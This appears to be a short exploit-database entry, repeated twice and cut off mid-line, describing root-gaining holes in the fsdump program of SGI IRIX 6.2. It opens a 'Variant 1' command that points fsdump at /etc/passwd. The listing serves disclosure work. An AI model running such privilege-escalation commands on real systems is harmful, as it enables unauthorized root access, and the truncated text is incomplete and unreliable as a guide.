SGI IRIX 6.2 - fsdump Local Privilege Escalation

SGI IRIX 6.2 - fsdump Local Privilege Escalation source: https://www.securityfocus.com/bid/355/info A number of vulnerabilities exist in the fsdump program included with Silicon Graphics Inc's IRIX operating system. Each of these holes can be used to obtain root privlilege. Variant 1: irix%...

SGI IRIX 6.2 - 'fsdump' Local Privilege Escalation

source: https://www.securityfocus.com/bid/355/info A number of vulnerabilities exist in the fsdump program included with Silicon Graphics Inc's IRIX operating system. Each of these holes can be used to obtain root privlilege. Variant 1: irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump / count t...